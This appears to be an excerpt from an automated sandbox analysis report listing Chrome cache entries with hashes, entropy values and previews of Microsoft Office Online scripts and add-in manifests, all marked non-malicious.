Preview:	.PNG........IHDR.............@.....wIDATx^..xU......n{..W.;.:T.W-W......I..hD..V..U..P@..A.@H....-.HEF..."....."zE@.B......OY~..s.:{.=.....?{.....N~..z.w..............T.vmr.k.>=.....~.A.......#.q...u..=..I...gee6 .v---.$.".L..=W>kD.+@... ...z..yd...s...mhK..:.avvf._........F.N.........x....?.b.US.\|~ii....W.V.w..-}\|...n//g..7..h..R.m{............X..+&U.....=...h.....B$../......0lll.@.+..l....l.&.o.x9..7.Y.1{.....G...w..-}...>..u."....1h(n.t......m.....X.kIf .i..]...{A......+.g...m=....'//..k=..A\|.v.8&.....!..>.}W.!.D.......s..x....w.a..Mr.....,P.KxII....5.~.>.%..1..1......y.P...w(..{..O ..n.V..Oh...iC[7.x....\..(..D.C...}....}..?...>%...".~0b..g.Yy...^.\|./..+@.7.z.D.\|*==.9.c....g..m\|.]ZZ.^..b}b.....D..ly..3:.P.`BE.+.6..b....1..9...\.." ............7....]r.c.&."...-/.OJ6.........2.c.....pA.Z.................?.Z.x....r.E?`........}W>..c...g@i.."P.kUVQ/..^.........BQ....WguU.E...%1`@.F....}Uax..f..".`,.t..V .9.7..E...[Sm...y.

Chrome Cache Entry: 309

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7230)
Category:	downloaded
Size (bytes):	7280
Entropy (8bit):	5.289370636276308
Encrypted:	false
SSDEEP:	96:QqVlV0+Zmn1dZVxmK1PisXxzuip6ouBEgqkVAW6f3ipFI0LP3hVUmVnPkWQmd5eY:hV0+Zm/1PbxqiPgDVAzi9hJtPk5OTR2S
MD5:	C34231B4470A7929280F8E6E0C9D1141
SHA1:	9F5BAAA7D17862BCAC1D8790C1DBEB3B5F6C3C1A
SHA-256:	5020CD9C34C2ABA5817AA26019EAAA81D3ADA323A30537435AA57F1D4F9474D1
SHA-512:	550E37732B274B9AD30686F0A9E6B517A64F7A9D7E40D0F9DB6109369B70DE476BD40393E899E0009471C2D604A6FFBE4C17F69B70A2797CDAB908DE8C3440B8
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/wp5/appResourceLoader.min.js
Preview:	var appResourceLoader;!function(){"use strict";var e,n,t,o,r={90651:function(e,n,t){t.r(n),t.d(n,{init:function(){return c.Ts},loadChunk:function(){return g},loadIntlBootResources:function(){return a}});var o=t(5989);let r,i=!1;function a(e){const n="onenote-ribbon-intl.min.js";return i\|\|(r=(0,o.loadScript)(n,e.scriptBaseUrl.concat(n),void 0,5),i=!0),r}var c=t(72340);const u="appChrome",s="canvasAtMentions",l="loopLoadingManager",d="navigation",f="onenote-navpane-strings",p="onenote-ribbon-intl",h="onenote-whatsnew-strings",m="sharedComments",b="comment-pane-strings",v={[u]:{dependencies:[p]},[l]:{},[m]:{dependencies:[b]},[s]:{dependencies:[b]},[d]:{dependencies:[f,h]},[p]:{isLocalized:!0},"onenote-ribbon-sprite-lazy":{isLocalized:!0},"onenote-ribbon-intl-lazy":{isLocalized:!0},"onenote-intl-mlr-lazy":{isLocalized:!0},[f]:{isLocalized:!0},[h]:{isLocalized:!0},"onenote-ribbon-sprite":{isLocalized:!0},"onenote-mlr-sprite":{isLocalized:!0},"onenote-mlr-sprite-lazy":{isLocalized:!0},"tellm

Chrome Cache Entry: 310

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	11
Entropy (8bit):	3.2776134368191165
Encrypted:	false
SSDEEP:	3:LUQ9:LUA
MD5:	825644F747BAAB2C00E420DBBC39E4B3
SHA1:	10588307553E766AB3C7D328D948DC6754893CEF
SHA-256:	7C41B898C5DA0CFA4AA049B65EF50248BCE9A72D24BEF4C723786431921B75AA
SHA-512:	BFE6E8DF36C78CBFD17BA9270C86860EE9B051B82594FB8F34A0ADF6A14E1596D2A9DCDC7EB6857101E1502AFF6FF515A36E8BA6C80DA327BC11831624A5DAEA
Malicious:	false
Reputation:	low
Preview:	Bad Request

Chrome Cache Entry: 311

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (41569), with no line terminators
Category:	dropped
Size (bytes):	41569
Entropy (8bit):	5.349246096567034
Encrypted:	false
SSDEEP:	384:wwstGDociKcWpWS8neDvci6hR5fZ2tF3t97D0QeIHcTzeC:wBlneDvci6hR5fZyt97QLIUz
MD5:	345BFF8D2E34511694D9D12A008F5F5D
SHA1:	B3F35302052C26C285C43B935BCE972904E62E28
SHA-256:	DD4039F8AFAC6FD76B462C4FD4F90374B18DB762719108491AC2E365196D71AC
SHA-512:	5B6A9EB510BFBD7198D00BA674FEB6D04B6E95A7E359A0C9B1C17086FACA1859AE4FE126985812C0AB1E87FEA963FA9B169C3A21A7DA534EC79B972D0935A692
Malicious:	false
Reputation:	low
Preview:	function WacCurve(n,t,i,r,u,f){this.ID=n;this.type=t;this.x1=i;this.y1=r;this.x2=u;this.y2=f}function WacIntWrapper(n,t){this.value=n;this.contextId=t}function WacKeyFrame(n,t,i,r,u,f,e,o){this.type=n;this.curveID=t;this.startTime=i==null\|\|i.value==undefined?new WacIntWrapper(i,null):i;this.endTime=r==null\|\|r.value==undefined?new WacIntWrapper(r,null):r;this.startValue=u==null\|\|u.value==undefined?new WacIntWrapper(u,null):u;this.endValue=f==null\|\|f.value==undefined?new WacIntWrapper(f,null):f;this.relativeTo=e;this.operationType=o}function WacAnimation_ContextVariableManager(){}function WacAnim(n,t){this.ID=n;this.keyFrames=t}function WacAnimationEngine(){this.AnimationQueue=new Array(0);this.sharedTimer=null;this.sharedCancelTimer=null;this.resetInterval=5e3;this.sharedTimerRefs=0;this.conflictTable=new Array(0);this.currentAnimationIndex=-1;this.temporaryIDGenerator=0}function WacAnimation_State(){this.Index=0;this.Data=new Array(0);this.AnimateRight=!1}function WacAnimation_Object(n

Chrome Cache Entry: 312

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	985
Entropy (8bit):	5.175336884396651
Encrypted:	false
SSDEEP:	24:2dQ4+A88T+Uy8+QQIWZdLIQAEJAoImLFJ1002ev+Es:cWA886hPtIWPIQlJwUFJ1005v+d
MD5:	605C6BD48B2AB0262C0113445494FF4C
SHA1:	00CC6621252EB4930486F4837638A0524E5C77E9
SHA-256:	405497AC72ADA72A30277E2493A9B00B999DF6CE1B425167B8C405AF45EF0338
SHA-512:	53993F9A6359C167302F14F272BF9D8897C2508DF9EFEC38DE1754F9B8737A621C482177981DE9702BEEAC54ACC2EEB1AB166A24533AC2A6FEA7E7C6244AD4F9
Malicious:	false
Reputation:	low
URL:	https://fa000000111.resources.office.net/033f92d3-bc6d-439a-858a-a17acf70360a/1.0.0.5/en-us_web/manifest_web.xml
Preview:	<?xml version="1.0" encoding="utf-8"?>..<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0".. xmlns:contentappor="http://schemas.microsoft.com/office/contentappversionoverrides".. xsi:type="ContentApp">.... <Id>bf3a711e-f669-4fd5-8d73-100223695f2b</Id>.. <Version>1.0.0.4</Version>.. <ProviderName>lijia</ProviderName>.. <DefaultLocale>en-US</DefaultLocale>.. The display name of your add-in. Used on the store and various placed of the Office UI such as the add-ins dialog -->.. <DisplayName DefaultValue="Office first party apps sandbox" />.. <Description DefaultValue="Office first party apps sandbox" />.... <Hosts>.. <Host Name="Document"/>.. </Hosts>.... <DefaultSettings>.. <SourceLocation DefaultValue="index.html" />.. </DefaultSettings>.... <Permissions>ReadWriteDocument</Permissions>..</OfficeApp>

Chrome Cache Entry: 313

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	516573
Entropy (8bit):	4.391994680222029
Encrypted:	false
SSDEEP:	6144:kR4D+Nfr+F5b0IrwKcxbyoWzJtdtUNabyoWzZC5RTMu:dD+Nfrw
MD5:	363862D59B18A0072EAFE965CA5D9D68
SHA1:	255AD71FF27D550F43193CE9B28ADA8871064251
SHA-256:	755FEFA890DBC336F99828D8425A6A102982DB829E632A79AA1F25F6EEF14228
SHA-512:	1643372E857613A6F24A52562BCD11D22BCDE673A7CE5208407EF5FC69F7C7FAFE685D60F8EBE559D3434736330576947B7682A263BB6822CBC282928A91D4FE
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/1033/onenote-ribbon-sprite-lazy.min.js
Preview:	window.onenoteRibbonSpriteLazy={icons:[{type:"svg",id:"newdocument_20",children:[{type:"path",className:"OfficeIconColors_HighContrast",d:"M 1741 614 v 1332 h -1434 v -1844 h 922 m 0 512 h 367 l -367 -373 m 409 476 h -512 v -512 h -716 v 1638 h 1228 z"},{type:"path",className:"OfficeIconColors_m20",d:"M 1685 1903 h -1320 v -1735 h 868 l 452 451 z"},{type:"path",className:"OfficeIconColors_m22",d:"M 1741 614 v 1332 h -1434 v -1844 h 922 m 0 512 h 367 l -367 -373 m 409 476 h -512 v -512 h -716 v 1638 h 1228 z"}],viewBox:"0,0,2048,2048"},{type:"svg",id:"SectionTab_20",children:[{type:"path",className:"OfficeIconColors_HighContrast",d:"M 1229 307 v -205 h 102 v 1844 h -102 v -205 h -615 v -1434 z"},{type:"path",className:"OfficeIconColors_DynamicColor",d:"M 1229 307 v -205 h 102 v 1844 h -102 v -205 h -615 v -1434 z"}],viewBox:"0,0,2048,2048"},{type:"svg",id:"Table_20",children:[{type:"path",className:"OfficeIconColors_HighContrast",d:"M 102 102 h 1844 v 1844 h -1844 m 103 -1741 v 205 h 16

Chrome Cache Entry: 314

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (58562)
Category:	downloaded
Size (bytes):	263257
Entropy (8bit):	5.328169040899401
Encrypted:	false
SSDEEP:	3072:BbEnBXWAeZEQB9efnuOowwCjrsrYOaypSlptbiXWpDOHWY89k3k0uvG5rj5OOJR:wjKEQP4poww9EOnOXvGD9
MD5:	F4C023DE699C6B3BFF0284E4299AD416
SHA1:	C6F6680B3A36FC08964D94A5D17826201A95D6A7
SHA-256:	733BAC8C18121174A1620768DCFC296E279A81151B279798EB91DABC4256A10E
SHA-512:	F005B33A1B3B50300D1EC038BCD1C44854D3634030359EB7C06861ED4EC2702AE5EAD68AAA9D084CDE95639D4351C5136878580048B57158AD882C452C4A4CE1
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/files/odsp-web-prod_2024-06-28.014/wacowlhostwebpack/10.js
Preview:	/! For license information please see 10.js.LICENSE.txt /.(self.odspNextWebpackJsonp=self.odspNextWebpackJsonp\|\|[]).push([[10],{667:(e,t,n)=>{"use strict";var a;n.d(t,{a:()=>a,b:()=>i}),function(e){e[e.CRITICAL=1]="CRITICAL",e[e.WARNING=2]="WARNING"}(a\|\|(a={}));var i={BrowserDoesNotSupportLocalStorage:0,BrowserCannotReadLocalStorage:1,BrowserCannotReadSessionStorage:2,BrowserCannotWriteLocalStorage:3,BrowserCannotWriteSessionStorage:4,BrowserFailedRemovalFromLocalStorage:5,BrowserFailedRemovalFromSessionStorage:6,CannotSendEmptyTelemetry:7,ClientPerformanceMathError:8,ErrorParsingAISessionCookie:9,ErrorPVCalc:10,ExceptionWhileLoggingError:11,FailedAddingTelemetryToBuffer:12,FailedMonitorAjaxAbort:13,FailedMonitorAjaxDur:14,FailedMonitorAjaxOpen:15,FailedMonitorAjaxRSC:16,FailedMonitorAjaxSend:17,FailedMonitorAjaxGetCorrelationHeader:18,FailedToAddHandlerForOnBeforeUnload:19,FailedToSendQueuedTelemetry:20,FailedToReportDataLoss:21,FlushFailed:22,MessageLimitPerPVExceeded:23,MissingReq

Chrome Cache Entry: 315

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (61584), with CRLF line terminators
Category:	dropped
Size (bytes):	127321
Entropy (8bit):	3.8975903207588436
Encrypted:	false
SSDEEP:	3072:0Xk9AXsHQxmPHmLZyb92FcFxSYJVBp0HoU:PA8HQxaG0AExSYJVGN
MD5:	993E82E7C484722F06C96463D0003A01
SHA1:	77D1EC9D49E51957E275AF992FB689C33AE9C833
SHA-256:	984B2E92A7D762983B068F01752C2FAF3A27F727CCE21A98C76AA33BF0B854F0
SHA-512:	976B03164CEE94613DC8816A5D77B1A52DD8C96F9B13A1AC90E0F6105BBE19366D761C134B43C94F510A142505B6B6F9F014B65A9C3A1104150C70F8C87159D5
Malicious:	false
Reputation:	low
Preview:	var CoefficientModelIdMap= {174:'ClearPageColor',102:'Dictation',133:'BasicChat',54:'MenuFontColor',116:'btnEditOnWeb',27:'Underline',13:'90da59be-5361-4260-9218-2262af1dc334Button1id',49:'MenuBullet',187:'MenuAlignment',74:'mnuOutlineLauncher',119:'SelectTable',125:'ToggleVersionsVisibility',124:'EnterInkingHighlighterMode',17:'faPrint',67:'mnuNoteTagMarkLauncher',110:'ClearStyleFormatting',20:'ShowAccCheckerPane',4:'mnuSpellingErrorLauncher',60:'InsertFileDialog',92:'floatiefseaPaste',45:'floatiefsfaMoreStyles',12:'ExitInkingOrEraserMode',25:'floatiefsbcBold',18:'NavigateToCoauthor',128:'mnuVersionLauncher',26:'StandardFontColorPicker',81:'floatiesbBullets',136:'EnterEraserMode',6:'HideAllNavCommand',175:'NT18',147:'PictureAbsoluteWidth',2:'MenuOpen',69:'EditInApp',33:'Numbering',126:'NT2',83:'PictureAbsoluteHeight',61:'TellMeSearchResultChange',109:'Redo',7:'Bold',186:'Picture',122:'MoreSymbols',95:'HideSpellingErrorsCommand',108:'Highlighter',73:'Subscript',112:'ShowSectionsAndPage

Chrome Cache Entry: 316

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	5.138744724685597
Encrypted:	false
SSDEEP:	48:c8Ax81yL73bao2Q6tSJ1/2VaObOxMq9F1zt82LFjnpAz12IezmU+J2QezcNVF:tAMy/Laox116q9F1ztFNnpAz1KzGD
MD5:	03FD32F2E28EBDE4EC38156C83EEEE10
SHA1:	518410F8BC555BC44E361CD50A4F20366896A36E
SHA-256:	3CB6C640746A34590CC7FAA34E0FF24804AA947927DCAB6E50CDE0902033E421
SHA-512:	ADD9342EAA18BDE5C66DA20C28A78B03A30E4DA311F56DFF3F3EF197727697E164E6CF82EDBBA9518D2CBDF706C7016857D9004B654D7F112A641B09BFDEF6A5
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0" xmlns:ov="http://schemas.microsoft.com/office/taskpaneappversionoverrides" xsi:type="TaskPaneApp">. <Id>8ef9aa39-de6e-4fb7-841a-f0f08546d398</Id>. <Version>1.0.0.0</Version>. <ProviderName>Microsoft Office Services</ProviderName>. <DefaultLocale>en-US</DefaultLocale>. <DisplayName DefaultValue="Copilot"/>. <Description DefaultValue="Copilot"/>. <IconUrl DefaultValue=""/>. <HighResolutionIconUrl DefaultValue=""/>. <AppDomains>. <AppDomain>https://fa000000128.resources.office.net</AppDomain>. <AppDomain>https://res.cdn.office.net</AppDomain>. <AppDomain>https://res.sdf.cdn.office.net</AppDomain>. <AppDomain>https://res-h3.sdf.cdn.office.net</AppDomain>. <AppDomain>https://res-h3.public.cdn.office.net</AppDomain>.

Chrome Cache Entry: 317

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65530), with no line terminators
Category:	downloaded
Size (bytes):	690699
Entropy (8bit):	5.556239870405705
Encrypted:	false
SSDEEP:	12288:qtJj/At+JFlcl4EvR9Q8uzEFwtgLEPLWBPVcvjKYvtI91tICqTbXm4At:qL/FFlcl4EvR9Q8pFw5VjKYv291tICqA
MD5:	8D6AC55E4D32F042F9279872BF5DA7A1
SHA1:	2E33325DBF350C5BD3D3F67D9EE118494C56AB59
SHA-256:	143DAD6AF3EA8CF7E1EA6E02CAD7BA0C72A5061035ACF1FB360851CE9038CDC4
SHA-512:	6B58BC71B14239956474780A8E26F2FB346D92A90A73AD4BCEB6E30F533177E3B5AFA145DBD2F22636BC283C9431D023B21A17810A79069A828CD1ADB1AA9801
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/wp5/appChromeLazy.min.js
Preview:	function asyncGeneratorStep(e,t,o,n,r,i,a){try{var s=e[i](a),l=s.value}catch(e){return void o(e)}s.done?t(l):Promise.resolve(l).then(n,r)}function _async_to_generator(e){return function(){var t=this,o=arguments;return new Promise((function(n,r){var i=e.apply(t,o);function a(e){asyncGeneratorStep(i,n,r,a,s,"next",e)}function s(e){asyncGeneratorStep(i,n,r,a,s,"throw",e)}a(void 0)}))}}function _define_property(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e}function _object_spread(e){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},n=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(o).filter((function(e){return Object.getOwnPropertyDescriptor(o,e).enumerable})))),n.forEach((function(t){_define_property(e,t,o[t])}))}return e}function ownKeys(e,t){var o=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.fi

Chrome Cache Entry: 318

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3290
Entropy (8bit):	5.895460726438132
Encrypted:	false
SSDEEP:	96:J/bwRFZ1ZdpIOUmURqcJHFowRWJKanp15KW:J/bwRFTuObcZxWJKap15KW
MD5:	3A086789DBE806DC59E22D10A6555300
SHA1:	D288FF3F83417AFAEF978D00F739E164427EA2FA
SHA-256:	E23D69AA104B4C123CD52CF3BBB1C820E3730AE6754E4DFE8DE8FD1882F759A2
SHA-512:	0A88DA0C7821A7D9356C57BA6990216C544A1439CAE1B3AD80F799824D0E78327A9FDF19A0A593B46291772063A17DCD5024D581B5AB6DD9891DF60B0E4A604A
Malicious:	false
Reputation:	low
URL:	https://wise-m.public.cdn.office.net/wise-m/owl/5mttl/production/1/manifest.json
Preview:	{"clientVersion":"20240710.4","files":{"owl.js":["owl.0d1f1b153d771ea86590.js","sha384-WJbb26HxcwZAdvGAWxTNq4gXLnaXXAGyoeUR4LKLcU9adgbbcNzccHQHd6BbPEaU"],"owl.slim.js":["owl.slim.6a7c2b86e1c3aace8110.js","sha384-Rxexw0bIdCp+OXqRW0sDqEsOXXESzmlu/NVLnoBooLC5Iu+ooF7mgukqtyaLbIxf"],"owlnest.js":["owlnest.d4249494fd37a98c74fb.js","sha384-VSlflz0kT45rNfUrAoRFLoyF4rK74n11s/HeKWtr97pZzHViCaCdH/Xlsoyqq41t"],"authwebworker.js":["authwebworker.771be0ccf22bcb304e1d.js","sha384-fLNxOfQ7OazW304wFpxOvDT4/cBBf1hcA4F0PjMf78Js0r8FgHO5nQz/qDCAKSaL"],"sharedauthclient.js":["sharedauthclient.b21449b5dd90a34fb122.js","sha384-CbSKmlHIyYTh2QeBIwEyGFPE8lmYEJT45IL0Hc9VvAki9KlEgsOH9pH+yRPKfVnx"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.f335f2a65b7bd482b5be.js","sha384-HKxSqP82hYJtD8xRm6HsLjhR2CAGWI0oKuYFkMRg1Tt+8y496UFAn3ygZzeQg38J"],"sharedauthclientmsal.js":["sharedauthclientmsal.c91ba253b5567e61379b.js","sha384-hsZIHUoG/N70URpos5UtKR+tHYUbXt/1qwKO0IdWrFJZ22PRzjseZXsDlfOzeHKN"],"sharedaut

Chrome Cache Entry: 319

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	low
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 320

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65535), with no line terminators
Category:	dropped
Size (bytes):	76571
Entropy (8bit):	5.364259301211758
Encrypted:	false
SSDEEP:	768:Y57B+n7r5qGhmViGJmOsrmNS+p2ZiDO0eX/DcynXE+L92w7q9u7k78CRtfa:YxB+n7r55RGMr9nXEiz7V7k78r
MD5:	4DE42314D6EDDA70DF9779762ACC12B8
SHA1:	2AF63137ABC68C0910107F8598B7DE48FD5BBD9C
SHA-256:	7E86DF2AC06E3524CB7BC6F0B8EB07565BA6D103EAF3CF1A30AC4C78F11A4EAA
SHA-512:	4465A7B79288AC5B75B4B21DDE3EA774F94AC209DDADFF99DA7741ED841C739C1F82DAEB550DC707A986FFFED8B9B84F45CA7705F40244A993D0CE34BD65B02B
Malicious:	false
Reputation:	low
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.FloodgateDynamicCampaign=t():e.FloodgateDynamicCampaign=t()}(self,(function(){return function(){var e={7222:function(e,t,n){"use strict";var r=this&&this.__createBinding\|\|(Object.create?function(e,t,n,r){void 0===r&&(r=n),Object.defineProperty(e,r,{enumerable:!0,get:function(){return t[n]}})}:function(e,t,n,r){void 0===r&&(r=n),e[r]=t[n]}),i=this&&this.__exportStar\|\|function(e,t){for(var n in e)"default"===n\|\|Object.prototype.hasOwnProperty.call(t,n)\|\|r(t,e,n)};Object.defineProperty(t,"__esModule",{value:!0}),t.IFloodgateHostPlatform=t.GovernedChannelType=t.ICampaignDefinitions=t.Api=void 0,i(n(7560),t),t.Api=n(7560),i(n(2783),t),i(n(8262),t),i(n(234),t);var o=n(9556);Object.defineProperty(t,"ICampaignDefinitions",{enumerable:!0,get:function(){return o.ICampaignDefinitions}});var s=n(8445);Object.defineProperty(t,"Govern

Chrome Cache Entry: 321

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	969
Entropy (8bit):	5.171349633572766
Encrypted:	false
SSDEEP:	24:2dQ4+A88T+Uy8+QQIWZdgIQAEJAoImLFJ1o02ev+Es:cWA886hPtIWkIQlJwUFJ1o05v+d
MD5:	5E6EDC73470FF3E746BC8BDAC6FB38B2
SHA1:	7DFA441D001FE0B50A5F6ED6102479662D2497DF
SHA-256:	71344C4AACBC26401DD2CFDCDB7C16625B423B4E710A0030A65D90B7E16F602D
SHA-512:	F3186C5204BAE1523433CDB852732390E02864AE37CF0E39175A369E712D6101D6486C1B3B0BE031D1A3072963C251BC7F251048D172FF71081DF92A79C8132D
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>..<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0".. xmlns:contentappor="http://schemas.microsoft.com/office/contentappversionoverrides".. xsi:type="ContentApp">.... <Id>bf3a711e-f669-4fd5-8d73-100223695f2a</Id>.. <Version>1.0.0.4</Version>.. <ProviderName>lijia</ProviderName>.. <DefaultLocale>en-US</DefaultLocale>.. The display name of your add-in. Used on the store and various placed of the Office UI such as the add-ins dialog -->.. <DisplayName DefaultValue="Office first party apps" />.. <Description DefaultValue="Office first party apps" />.... <Hosts>.. <Host Name="Document"/>.. </Hosts>.... <DefaultSettings>.. <SourceLocation DefaultValue="index.html" />.. </DefaultSettings>.... <Permissions>ReadWriteDocument</Permissions>..</OfficeApp>

Chrome Cache Entry: 322

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1626
Entropy (8bit):	5.220736522823314
Encrypted:	false
SSDEEP:	48:cWA886hPtIWyTCQuwUFJ1sq4AC0Qvk2tFtYDYKo:bA0hP2yQuwQObd1f
MD5:	BCB0C4305749B10C7E9F428F8199CAF5
SHA1:	B0AFC5BE5ABE6F91286C5F15784EC25FB318BADF
SHA-256:	996A3022BDB1C69A264B5E164E4596169D81A91DC6114F7B971FBCD2A218E69C
SHA-512:	B2D3DD04BB38314E91A20C0C67C7DD8B01F72EEF52464EECD5C876C7F932527AEF65E9FF434B8CC7E7B61CB8CD25DD8228C3B38FA895E289CB70717B1842419E
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>..<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0".. xmlns:contentappor="http://schemas.microsoft.com/office/contentappversionoverrides".. xsi:type="ContentApp">.... <Id>9202f6f9-8fe3-4cf8-9cbd-384c940fe419</Id>.. <Version>1.0.0.0</Version>.. <ProviderName>kotai</ProviderName>.. <DefaultLocale>en-US</DefaultLocale>.. The display name of your add-in. Used on the store and various placed of the Office UI such as the add-ins dialog -->.. <DisplayName DefaultValue="SDX SSO Web App" />.. <Description DefaultValue="SDX SSO Web App" />.. Icon for your add-in. Used on installation screens and the add-ins dialog -->.. <IconUrl DefaultValue="assets/icon-32.png"/>.... <Hosts>.. <Host Name="Document"/>.. <Host Name="Notebook"/>.. <Host Name="Presentation"/>.. <Host Name="Workb

Chrome Cache Entry: 323

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (22548), with no line terminators
Category:	dropped
Size (bytes):	22548
Entropy (8bit):	5.232638466589186
Encrypted:	false
SSDEEP:	384:hGqrNR0CEbriF1uBPA6fCNa6gCOzhLU4UjYAlmSqoW7XlE4rOaxFVVTTk4vQZ:BZ2CEbriLUY6f76g5wYAEXe45xlkcS
MD5:	D53F18A8C88928CFDFDD4BA4E2171683
SHA1:	617F347179BFF6152D7FD34A6057CBBA0C4A7751
SHA-256:	F30ECA14B573D3F9013D09BF01F3FC93AD3BFC4D2D842EB82E76E3ACE0A5809E
SHA-512:	933F391B3B887BFDECEE542E2C9DAA43BEB2443150CEA1CD0FB1A6489897EC5DD96955F2BB058AFBD5FA82ECADE3CE82F2D2722A5FDB6F4C0D727037F1DC719F
Malicious:	false
Reputation:	low
Preview:	var shellPerformance=window.performance,HighResolutionTimingSupported=!!shellPerformance&&"function"==typeof shellPerformance.mark;HighResolutionTimingSupported&&shellPerformance.mark("shell_umc_mecontrol_start"),(self["suiteux_shell_webpackJsonp_suiteux-main"]=self["suiteux_shell_webpackJsonp_suiteux-main"]\|\|[]).push([["umc_mecontrol"],{50641:function(t,e,n){n.r(e),n.d(e,{UniversalMeControlConnector:function(){return M}});var o=n(54801),i=n(93814),r=n(87948),s=n(95422),a=n(31707);var l=n(90872),p=n(16968),h=n(47710);const d=5,u=500,c=1.5;function g(t,e,n,o){let i=document.createElement("script");if(i.src=window.O365ShellContext.TrustedTypesPolicies[h.TR].createScriptURL(t),i.crossOrigin="anonymous",i.async=!0,null!=e){i.onload=i=>{if(o){let r=Date.now()+200,s=()=>{o()?e(i):Date.now()>r?n({ResourceName:t,Details:12}):setTimeout((()=>{s()}),50)};s()}else e(i)},null!=n&&(i.onerror=(e,o,i,r,s)=>{n(function(t,e,n,o,i,r){let s;s="string"==typeof e?e:e.type;return{ResourceName:t,Details:`Scr

Chrome Cache Entry: 324

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33654)
Category:	downloaded
Size (bytes):	33712
Entropy (8bit):	5.312964320999572
Encrypted:	false
SSDEEP:	768:jTkTStDd+8hoLE+Ye92stIminlpqPe3+KAXNGeOstcnk8DSyCO:DIStOHDo
MD5:	B6E215C559C24CAFD09273E9BFAFD357
SHA1:	ECCF0B92955DACEAF6FAD3A9DE7C36EB65B341CB
SHA-256:	DAF0C5F563BBD6915BEA269FA160B52176BAE7AA972FFA7F0D9345165A4825F3
SHA-512:	06FDF7EC3F675C5B458F16E206FE8F64624A3046531EA5484C72CA58136D449DF1638B9AE9CD78C0E355A4A05D373E18D89F96743CCAFF5700DECD1BD52620E9
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/hDAF0C5F563BBD691_App_Scripts/healthSmallOffline.worker.min.js
